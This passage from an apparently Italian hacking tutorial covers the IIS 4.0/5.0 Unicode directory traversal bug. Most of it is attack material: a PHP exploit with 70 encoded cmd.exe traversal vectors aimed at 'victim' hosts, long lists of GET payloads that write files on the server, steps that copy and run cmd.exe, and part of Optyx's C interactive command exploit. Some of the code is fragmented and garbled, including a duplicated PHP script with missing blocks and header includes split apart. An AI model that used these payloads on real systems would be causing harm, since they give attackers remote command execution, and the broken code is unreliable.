$vector_ataque[66]="/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[67]="/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[68]="/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[69]="/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
if(!isset($argv[1]))
{
echo
"\n\n--------------------------------------------------------------------\n";
echo "------------- (c) UNICODE exploit for IIS 5.0/4.0 by BoloTron
------\n";
echo
"--------------------------------------------------------------------\n\n";
echo "Usage of the wicked device:\n";
echo $argv[0]." -t www.victim.vic\n";
echo $argv[0]." -t www.victim.vic -p proxy:port\n";
echo $argv[0]." www.victim.vic comand variant_number\n";
echo $argv[0]." -p proxy:port www.victim.vic comand
variant_number\n";
echo "Options:\n";
echo "-t --> Test the vulnerability (Try known variants till find
the good
one)\n";
echo "-p --> Attack through proxy\n";
echo "\nUse Mode:\n1) Test the host and get the variants number in
case
vulnerability exists\n";
echo "2) Attack with command and variants number (optionaly you can
use
proxy)\n";
echo "Note : When you specify a command with spaces, replace spaces
with low script \"_\" \n";
echo "and you must double the backslash \"\\\". \n
Example".$argv[0]." -p proxy.prx:3128 www.victima.com dir_c:\\\\inetpub 49\n";
echo "Thanks to An-tonio for the proxy support.\n";
echo "Bug discover by Anonymous Post.\n";
}
else
{
if($argv[1]=="spanish")
{
echo
"\n\n--------------------------------------------------------------------\n";
echo "------------- (c) Exploit UNICODE para IIS 5.0/4.0 por
BoloTron ----\n";
echo
"--------------------------------------------------------------------\n\n";
echo "Uso del artefacto maligno :\n";
echo $argv[0]." -t www.victima.vic\n";
echo $argv[0]." -t www.victima.vic -p proxy:puerto\n";
echo $argv[0]." www.victima.vic comando n_de_variante\n";
echo $argv[0]." -p proxy:port www.victima.vic comand
n_de_variante\n";
echo "Opciones:\n";
echo "-t --> Testea la vulnerabilidad, prueba todas las
variantes hasta encontrar una buena.\n";
echo "-p --> Ataque a traves de proxy\n";
echo "\nModo de Empleo:\n1) Testear el host y anotar el
numero de variante en caso de ser vulnerable\n";
echo "2) Atacar especificando comando y n de variante
(opcionalmente puedes especificar un proxy)\n";
echo "Nota : Cuando se especifica un comando en el que hay
espacios hay que sustituirlos por un guion bajo _ \n";
echo "y las contrabarras hay que ponerlas dobles. \nEjemplo :
".$argv[0]." -p proxy.prx:3128 www.victima.com dir_c:\\\\inetpub 49\n";
echo "Gracias a An-tonio por sus indicaciones en el soporte
proxy.\n";
echo "Bug descubierto por aviso anonimo.\n";
exit;
}
if($argv[1]=="-t")
{
if ($argv[3]=="-p")
{
for($i=0;$i<70;$i++)
{
$prox=explode(":",$argv[4]);
$comando="dir+c:\\";
$fp = fsockopen($prox[0], $prox[1]);
if(!$fp)
{
echo "Conection failed...\n";
}
else
{
fputs($fp,"GET
http://".$argv[2]."".$vector_ataque[$i]."".$comando."; HTTP/1.0\n\n");
echo "Trying variant number ".$i." ";
while(!feof($fp))
{
$resul=$resul.fgets($fp,128);
}
if (ereg("<DIR>", $resul))
{
echo "-----> Vulnerable!!\n";
exit;
}
else
{
echo "-----> NoT Vulnerable
:(\n";
}
}
fclose($fp);
}
}
else
{
for($i=0;$i<70;$i++)
{
$port=80;
$comando="dir+c:\\";
$fp = fsockopen($argv[2], $port);
if(!$fp)
{
echo "Conection failed...\n";
}
else
{
fputs($fp,"GET
".$vector_ataque[$i]."".$comando." HTTP/1.0\n\n");
echo "Trying variant number ".$i." ";
while(!feof($fp))
{
$resul=$resul.fgets($fp,128);
}
if (ereg("<DIR>", $resul))
{
echo "-----> vulnerable!!\n";
exit;
}
else
{
echo "-----> No Vulnerable :
(\n";
}
}
else
{
}
fclose($fp);
}
}
if($argv[1]=="-p")
{
$prox=explode(":",$argv[2]);
$port=$prox[1];
$comando=ereg_replace("_","+",$argv[4]);
$fp = fsockopen($prox[0], $port);
if(!$fp)
{
}
else
{
fputs($fp,"GET
http://".$argv[3]."".$vector_ataque[$argv[5]]."".$comando."; HTTP/1.0\n\n");
while(!feof($fp))
{
echo fgets($fp,128);
}
}
fclose($fp);
}
else
{
$port=80;
$comando=ereg_replace("_","+",$argv[2]);
$fp = fsockopen($argv[1], $port);
if(!$fp)
{
echo "Conection failed.\n";
}
else
{
fputs($fp,"GET ".
$vector_ataque[$argv[3]]."".$comando." HTTP/1.0\n\n");
while(!feof($fp))
{
echo fgets($fp,128);
}
}
fclose($fp);
}
}
?>
---------- cut here
#!php -q
<?
$vector_ataque[0]="/msadc/..%255c../..%255c../..
%255c../winnt/system32/cmd.exe?/c+";
$vector_ataque[1]="/msadc/..
%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[2]="/msadc/..%255c..%255c..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[3]="/msadc/..
%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[4]="/scripts/..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[5]="/scripts/..%252f..%252f..%252f..
%252fwinnt/system32/cmd.exe?/c+";
$vector_ataque[6]="/scripts/..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[7]="/msadc/..%255c../..%255c../..
%255c../winnt/system32/cmd.exe?/c+";
$vector_ataque[8]="/msadc/..%%35c../..%%35c../..%
%35c../winnt/system32/cmd.exe?/c+";
$vector_ataque[9]="/msadc/..%%35%63../..%%35%63../..%
%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[10]="/msadc/..
%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[11]="/MSADC/..%255c..%255c..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[12]="/MSADC/..%%35c..%%35c..%%35c..%
%35cwinnt/system32/cmd.exe?/c+";
$vector_ataque[13]="/MSADC/..%%35%63..%%35%63..%%35%63..%
%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[14]="/MSADC/..
%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[15]="/_vti_bin/..%255c..%255c..%255c..%255c..
%255c../winnt/system32/cmd.exe?/c+";
$vector_ataque[16]="/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%
%35c../winnt/system32/cmd.exe?/c+";
$vector_ataque[17]="/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%
%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[18]="/_vti_bin/..
%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[19]="/PBServer/..%255c..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[20]="/PBServer/..%%35c..%%35c..%
%35cwinnt/system32/cmd.exe?/c+";
$vector_ataque[21]="/PBServer/..%%35%63..%%35%63..%
%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[22]="/PBServer/..
%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[23]="/Rpc/..%255c..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[24]="/Rpc/..%%35c..%%35c..%
%35cwinnt/system32/cmd.exe?/c+";
$vector_ataque[25]="/Rpc/..%%35%63..%%35%63..%
%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[26]="/Rpc/..
%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[27]="/_vti_bin/..%255c..%255c..%255c..%255c..
%255c../winnt/system32/cmd.exe?/c+";
$vector_ataque[28]="/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%
%35c../winnt/system32/cmd.exe?/c+";
$vector_ataque[29]="/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%
%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[30]="/_vti_bin/..
%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[31]="/samples/..%255c..%255c..%255c..%255c..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[32]="/cgi-bin/..%255c..%255c..%255c..%255c..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[33]="/iisadmpwd/..%252f..%252f..%252f..%252f..%252f..
%252fwinnt/system32/cmd.exe?/c+";
$vector_ataque[34]="/_vti_cnf/..%255c..%255c..%255c..%255c..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[35]="/adsamples/..%255c..%255c..%255c..%255c..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[36]="/scripts/..%C1%1C..%C1%1C..%C1%1C..
%C1%1Cwinnt/system32/cmd.exe?/c+";
$vector_ataque[37]="/scripts/..%C1%9C..%C1%9C..%C1%9C..
%C1%9Cwinnt/system32/cmd.exe?/c+";
$vector_ataque[38]="/scripts/..%C0%AF..%C0%AF..%C0%AF..
%C0%AFwinnt/system32/cmd.exe?/c+";
$vector_ataque[39]="/scripts/..%252f..%252f..%252f..
%252fwinnt/system32/cmd.exe?/c+";
$vector_ataque[40]="/scripts/..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[41]="/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+";
$vector_ataque[42]="/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+";
$vector_ataque[43]="/scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[44]="/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+";
$vector_ataque[45]="/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+";
$vector_ataque[46]="/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+";
$vector_ataque[47]="/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+";
$vector_ataque[48]="/msadc/..%c0%af../..%c0%af../..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[49]="/_vti_bin/..%c0%af../..%c0%af../..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[50]="/scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[51]="/scripts..%c1%9c../winnt/system32/cmd.exe?/c+";
$vector_ataque[52]="/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+";
$vector_ataque[53]="/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+";
$vector_ataque[54]="/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+";
$vector_ataque[55]="/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+";
$vector_ataque[56]="/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+";
$vector_ataque[57]="/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+";
$vector_ataque[58]="/scripts/..%c1%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[59]="/scripts/..
%e0%80%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[60]="/scripts/..
%f0%80%80%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[61]="/scripts/..
%f8%80%80%80%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[62]="/scripts/..%fc
%80%80%80%80%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[63]="/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\
%e0\%80\%af../winnt/system32/cmd.exe\?/c+";
$vector_ataque[64]="/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[65]="/samples/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[66]="/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[67]="/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[68]="/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[69]="/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
if(!isset($argv[1]))
{
echo
"\n\n--------------------------------------------------------------------\n";
echo "------------- (c) UNICODE exploit for IIS 5.0/4.0 by BoloTron
------\n";
echo
"--------------------------------------------------------------------\n\n";
echo "Usage of the wicked device:\n";
echo $argv[0]." -t www.victim.vic\n";
echo $argv[0]." -t www.victim.vic -p proxy:port\n";
echo $argv[0]." www.victim.vic comand variant_number\n";
variant_number\n";
}
else
{
}
exit;
}
fclose($fp);
}
}
else
{
for($i=0;$i<70;$i++)
{
$port=80;
$comando="dir+c:\\";
$fp = fsockopen($argv[2], $port);
if(!$fp)
{
echo "Conection failed...\n";
}
else
{
fputs($fp,"GET ".$vector_ataque[$i]."".$comando."
HTTP/1.0\n\n");
(\n";
}
}
fclose($fp);
}
}
}
else
{
if($argv[1]=="-p")
{
$prox=explode(":",$argv[2]);
$port=$prox[1];
$comando=ereg_replace("_","+",$argv[4]);
$fp = fsockopen($prox[0], $port);
if(!$fp)
{
}
else
{
fputs($fp,"GET http://".$argv[3]."".
$vector_ataque[$argv[5]]."".$comando."; HTTP/1.0\n\n");
while(!feof($fp))
{
echo fgets($fp,128);
}
}
fclose($fp);
}
else
{
$port=80;
$comando=ereg_replace("_","+",$argv[2]);
$fp = fsockopen($argv[1], $port);
if(!$fp)
{
}
else
{
fputs($fp,"GET ".
$vector_ataque[$argv[3]]."".$comando." HTTP/1.0\n\n");
while(!feof($fp))
{
echo fgets($fp,128);
}
}
fclose($fp);
}
}
}
?>
Alcune variazioni legate allUNICODE BUG possono essere visualizzate neidump che
seguono :
GET /msadc/....../....../....../winnt/system32/cmd.exe?/c+dir+c:
Se questo funziona potrete vedere :
Directory of c:\
11/26/00
11/26/00
11/26/00
12/07/00
12/07/00
12/20/00
12/21/00
12/21/00
12/20/00
12:34p
0 AUTOEXEC.BAT
06:57p
322 boot.ini
12:34p
0 CONFIG.SYS
03:30p
<DIR>
InetPub
03:12p
<DIR>
Multimedia Files
05:13p
78,643,200 pagefile.sys
08:59p
<DIR>
Program Files
08:59p
<DIR>
TEMP
05:14p
<DIR>
WINNT
9 File(s)
78,643,522 bytes
1,779,191,808 bytes free
Il fatto di riuscire a vedere come IIS interpreta i caratteri possibile farlo andando a vedere il
file di LOG.
Un esempio potrebbe essere:
11:21:01 212.36.0.230 - 172.17.1.4 GET /msadc/..%c0%af../..%c0%af../..%c0%af../..
%c0%af../winnt/system32/cmd.exe?/c
+"dir%20c:\" 200 80 Mozilla/4.0+(compatible;+MSIE+5.5;+Windows+NT+5.0) 11:21:15 212.36.0.230 - 172.17.1.4 GET
/msadc/..%c0%af../..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c
+"dir%20c:\winnt\system32\logfiles\" 200 80 Mozilla/4.0+(compatible;
+MSIE+5.5;+Windows+NT+5.0) 11:21:24 212.36.0.230 - 172.17.1.4 GET
/msadc/..%c0%af../..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c
+"dir%20c:\winnt\system32\logfiles\W3SVC1\" 200 80
Mozilla/4.0+(compatible;+MSIE+5.5;+Windows+NT+5.0) 11:21:42 212.36.0.230 - 172.17.1.4 GET
/msadc/..%c0%af../..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c
+"type%20c:\winnt\system32\logfiles\W3SVC1\ex001210.log" 502 80
Mozilla/4.0+(compatible;+MSIE+5.5;+Windows+NT+5.0)
Usando la classe che incapsula le funzioni WINSOCK potremmo scrivere un altro programma
simile a quello scritto prima in PHP che prova a creare un messaggio di testo sul sistema
remoto usando le seguenti stringhe di prova.
GET /msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /MSADC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /MSADC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /MSADC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /MSADC/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63..
/winnt/system32/cmd.exe?/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63..
/winnt/system32/cmd.exe?/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /iisadmpwd/..%252f..%252f..%252f..%252f..%252f..%252fwinnt
/system32/cmd.exe?/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?
/c+/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?
/c+/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?
/c+/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c1%1c../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c0%9v../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c0%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c0%qf../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c1%8s../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c1%pc../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c0%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts..%c1%9c../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c1%pc../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c0%9v../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c0%qf../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c1%8s../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c1%1c../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c1%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%e0%80%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%f0%80%80%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt
/system32/cmd.exe\?/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
In ogni caso in relazione all UNICODE BUGS esiste una definizione di stringa standard
definita su http://www.securityfocus.com e precisamente :
http://target/scripts/..%c1%1c../path/file.ext
Ricordiamoci sempre che le configurazioni dei sistemi potrebbero essere differenti per cui
spesso necessario provare diverse soluzioni prima di individuare quella giusta.
http://site/scripts/..
%c1%9c../winnt/system32/cmd.exe?/c+copy+..\..\winnt\system32\cmd.exe+
cmd1.exe
IIS restituisce :
"CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers.
The headers it did return are:
1 file(s) copied."
2) Eseguire "cmd1.exe /c echo abc >aaa & dir & type aaa "
http://site/scripts/..
%c1%9c../inetpub/scripts/cmd1.exe?/c+echo+abc+>aaa&dir&type+aaa
IIS restituisce:
" Directory of c:\inetpub\scripts
10/25/2000 03:48p
.
10/25/2000 03:48p
..
10/25/2000 03:51p 6 aaa
12/07/1999 05:00a 236,304 cmd1.exe
..
abc
"
Lexploit rilasciato da Optyx il seguente :
/****************************************************************************\
**
**
**
Microsoft IIS 4.0/5.0 Extended UNICODE Directory Traversal Exploit
**
**
proof of theory exploit cuz it's wednesday and i'm on the couch
**
**
**
**
brought to you by the letter B, the number 7, optyx, and t12
**
**
optyx - <[email protected] [email protected]>
**
**
t12 - <[email protected]>
**
**
**
**
greetz go out to aempirei, a gun toatin' gangstah' hustler' player
**
**
motherfucker who isn't with us anymore, miah, who's GTA2 game was
**
**
was most entertaining tonight, Cathy, who provided the trippy light **
**
to stare at, and to KT, for providing me with hours of decent
**
**
conversation.
**
**
**
\****************************************************************************/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
<stdio.h>
<netdb.h>
<stdlib.h>
<string.h>
<sys/socket.h>
<sys/types.h>
<netinet/in.h>
<arpa/inet.h>
<signal.h>
<errno.h>
<fcntl.h>
void usage(void)
{
fprintf(stderr, "usage: ./iis-zank <-t target> <-c 'command' or -i>");
fprintf(stderr, " [-p port] [-o timeout]\n");
exit(-1);
{
if(interactive)
{
cmd[0]=0;
printf("\nC> ");
if(fgets(cmd, sizeof(cmd), stdin) == NULL)
fprintf(stderr, "gets() error\n");
cmd[strlen(cmd)-1]='\0';
if(!strcmp("exit", cmd))
exit(-1);
}
for(i=0;i<strlen(cmd);i++)
{
if(cmd[i]==' ')
cmd[i]='+';
}
strncpy(request,
"GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+",
sizeof(request));
strncat(request, cmd, sizeof(request) - strlen(request));
strncat(request, "\n", sizeof(request) - strlen(request));
s_addr.sin_family = PF_INET;
s_addr.sin_port = htons(port);
memcpy((char *) &s_addr.sin_addr, (char *) he->h_addr,
sizeof(s_addr.sin_addr));
if((i=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
{
fprintf(stderr, "cannot create socket\n");
exit(-1);
}
alarm(timeout);
j = connect(i, (struct sockaddr *) &s_addr, sizeof(s_addr));
alarm(0);
if(j==-1)
{
fprintf(stderr, "cannot connect to %s\n", host);
exit(-1);
close(i);
}
if(!interactive)
printf("]- Sending request: %s\n", request);
send(i, request, strlen(request), 0);
if(!interactive)
printf("]- Getting results\n");
while(recv(i,temp,1, 0)>0)
{
alarm(timeout);
printf("%c", temp[0]);
alarm(0);
}
}
while(interactive);
close(i);
return 0;
Ilo seguente exploits invece adatto ai sistemi Unix basandosi sulle normali funzioni della
libreria socket.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
